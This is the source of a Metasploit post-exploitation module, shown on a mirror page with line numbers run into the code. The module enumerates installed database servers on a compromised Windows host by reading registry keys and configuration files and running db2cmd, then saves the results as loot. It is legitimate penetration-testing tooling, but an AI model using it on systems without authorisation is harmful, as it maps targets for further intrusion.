Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_db.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Registry8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Database Instance Enumeration',15'Description' => %q{ This module will enumerate a windows system for installed database instances },16'License' => MSF_LICENSE,17'Author' => [18'Barry Shteiman <barry[at]sectorix.com>', # Module author19'juan vazquez' # minor help20],21'Platform' => [ 'win' ],22'SessionTypes' => [ 'meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26stdapi_fs_search27stdapi_sys_config_getenv28]29}30}31)32)33end3435# method called when command run is issued36def run37results = []3839print_status("Enumerating Databases on #{sysinfo['Computer']}")40if check_mssql41results += enumerate_mssql42end43if check_oracle44results += enumerate_oracle45end46if check_db247results += enumerate_db248end49if check_mysql50results += enumerate_mysql51end52if check_sybase53results += enumerate_sybase54end5556if results.empty?57print_status('Done, No Databases were found')58return59end6061print_status('Done, Databases Found.')6263tbl = Rex::Text::Table.new(64'Header' => 'Installed Databases',65'Indent' => 1,66'Columns' =>67[68'Type',69'Instance',70'Database',71'Port'72]73)7475results.each do |r|76report_service(host: session.sock.peerhost, port: r[3], name: r[0], info: "#{r[0]}, #{r[1]}")77tbl << r78end7980print_line(tbl.to_s)81p = store_loot('host.databases', 'text/plain', session, tbl.to_s, 'databases.txt', 'Running Databases')82print_good("Results stored in: #{p}")83end8485##### initial identification methods #####8687# method for Checking if database instances are installed on host - mssql88def check_mssql89key = 'HKLM\\SOFTWARE\\Microsoft'90if registry_enumkeys(key).include?('Microsoft SQL Server')91print_status("\tMicrosoft SQL Server found.")92return true93end94return false95rescue StandardError96return false97end9899# method for Checking if database instances are installed on host - oracle100def check_oracle101key = 'HKLM\\SOFTWARE\\Oracle'102if registry_enumkeys(key).include?('ALL_HOMES')103print_status("\tOracle Server found.")104return true105elsif registry_enumkeys(key).include?('SYSMAN')106print_status("\tOracle Server found.")107return true108elsif registry_enumkeys(key).include?('KEY_XE')109print_status("\tOracle Server found.")110return true111end112return false113rescue StandardError114return false115end116117# method for Checking if database instances are installed on host - db2118def check_db2119key = 'HKLM\\SOFTWARE\\IBM\\DB2'120if registry_enumkeys(key).include?('GLOBAL_PROFILE')121print_status("\tDB2 Server found.")122return true123end124return false125rescue StandardError126return false127end128129# method for Checking if database instances are installed on host - mysql130def check_mysql131key = 'HKLM\\SOFTWARE'132if registry_enumkeys(key).include?('MySQL AB')133print_status("\tMySQL Server found.")134return true135end136return false137rescue StandardError138return false139end140141# method for Checking if database instances are installed on host - sybase142def check_sybase143key = 'HKLM\\SOFTWARE\\Sybase'144if registry_enumkeys(key).include?('SQLServer')145print_status("\tSybase Server found.")146return true147elsif registry_enumkeys(key).include?('Server')148print_status("\tSybase Server found.")149return true150end151return false152rescue StandardError153return false154end155156##### deep analysis methods #####157158# method to identify mssql instances159def enumerate_mssql160results = []161key = 'HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL'162instances = registry_enumvals(key)163if !instances.nil? && !instances.empty?164instances.each do |i|165tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key, i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"166tcpport = registry_getvaldata(tcpkey, 'TcpPort')167print_good("\t\t+ #{registry_getvaldata(key, i)} (Port:#{tcpport})")168results << ['mssql', "instance:#{registry_getvaldata(key, i)} port:#{tcpport}", 'Microsoft SQL Server', tcpport]169end170end171return results172rescue StandardError173print_error("\t\t! could not identify information")174return results || []175end176177# method to identify oracle instances178def enumerate_oracle179results = []180found_key = false181basekey_set = ['HKLM\\SOFTWARE\\Oracle\\SYSMAN', 'HKLM\\SOFTWARE\\ORACLE\\KEY_XE']182basekey_set.each do |basekey|183next if found_key184185instances = registry_enumkeys(basekey)186if instances.nil? || instances.empty?187next188else189found_key = true190end191192instances.each do |i|193if basekey.include? 'KEY_XE'194val_ORACLE_SID = registry_getvaldata(basekey, 'ORACLE_SID')195val_ORACLE_HOME = registry_getvaldata(basekey, 'ORACLE_HOME')196else197key = "#{basekey}\\#{i}"198val_ORACLE_SID = registry_getvaldata(key, 'ORACLE_SID')199val_ORACLE_HOME = registry_getvaldata(key, 'ORACLE_HOME')200end201if !exist?(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora')202print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")203next204end205206data_TNSNAMES = read_file(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora')207if data_TNSNAMES =~ /PORT\ =\ (\d+)/208port = ::Regexp.last_match(1)209print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")210results << [ 'oracle', "instance:#{val_ORACLE_SID} port:#{port}", 'Oracle Database Server', port ]211else212print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")213end214end215end216if !found_key217print_error("\t\t! Oracle instances not found")218end219return results220rescue StandardError221print_error("\t\t! could not identify information")222return results || []223end224225# method to identify mysql instances226def enumerate_mysql227results = []228basekey = 'HKLM\\SOFTWARE\\MySQL AB'229instances = registry_enumkeys(basekey)230if instances.nil? || instances.empty?231return results232end233234instances.each do |i|235key = "#{basekey}\\#{i}"236val_location = registry_getvaldata(key, 'Location')237238data = find_mysql_conf(val_location)239240if data && data =~ (/port=(\d+)/)241port = ::Regexp.last_match(1)242print_good("\t\t+ MYSQL (Port:#{port})")243results << ['mysql', "instance:MYSQL port:#{port}", 'MySQL Server', port]244else245print_error("\t\t! could not identify information")246end247end248return results249rescue StandardError250print_error("\t\t! could not identify information")251return results || []252end253254# method to identify sybase instances255def enumerate_sybase256basekey = 'HKLM\\SOFTWARE\\Sybase\\SQLServer'257instance = registry_getvaldata(basekey, 'DSLISTEN')258location = registry_getvaldata(basekey, 'RootDir')259results = []260261if !exist?(location + '\\ini\\sql.ini')262print_error("\t\t! could not locate configuration file.")263return results264end265266data = read_file(location + '\\ini\\sql.ini')267if data =~ /\[#{instance}\]([^\[]*)/268segment = ::Regexp.last_match(1)269else270print_error("\t\t! couldnt locate information.")271return results272end273274if segment =~ /master=\w+,[^,]+,(\d+)/275port = ::Regexp.last_match(1)276else277print_error("\t\t! couldnt locate information.")278return results279end280281print_good("\t\t+ #{instance} (Port:#{port})")282results << [ 'sybase', "instance:#{instance} port:#{port}", 'Sybase SQL Server', port ]283return results284rescue StandardError285print_error("\t\t! couldnt locate information.")286return results || []287end288289# method to identify db2 instances290def enumerate_db2291results = []292cmd_i = cmd_exec('db2cmd', '-i -w /c db2ilist')293cmd_p = cmd_exec('db2cmd', '-i -w /c db2 get dbm cfg')294if cmd_p =~ %r{\ ?TCP/IP\ Service\ name\ +\(SVCENAME\)\ =\ (\w+)}295port = ::Regexp.last_match(1)296else297print_error("\t\t! could not identify instances information")298return results299end300301windir = session.sys.config.getenv('windir')302getfile = session.fs.file.search(windir + '\\system32\\drivers\\etc\\', 'services.*', recurse = true, timeout = -1)303304data = nil305getfile.each do |file|306if exist?("#{file['path']}\\#{file['name']}")307data = read_file("#{file['path']}\\#{file['name']}")308break if !data.nil?309end310end311312if data && data =~ (/#{port}[\ \t]+(\d+)/)313port_t = ::Regexp.last_match(1)314else315print_error("\t\t! could not identify instances information")316return results317end318319cmd_i.split("\n").compact.each do |line|320stripped = line.strip321print_good("\t\t+ #{stripped} (Port:#{port_t})")322results << [ 'db2', "instance:#{stripped} port:#{port_t}", 'DB2 Server', port_t ]323end324325return results326rescue StandardError327print_error("\t\t! could not identify instances information")328return results || []329end330331##### helper methods #####332333def find_mysql_conf(val_location)334data = nil335if exist?(val_location + '\\my.ini')336data = read_file(val_location + '\\my.ini')337elsif exist?(val_location + '\\my.cnf')338data = read_file(val_location + '\\my.cnf')339else340sysdriv = session.sys.config.getenv('SYSTEMDRIVE')341getfile = session.fs.file.search(sysdriv + '\\', 'my.ini', recurse = true, timeout = -1)342getfile.each do |file|343if exist?("#{file['path']}\\#{file['name']}")344data = read_file("#{file['path']}\\#{file['name']}")345break346end347end348end349return data350end351end352353354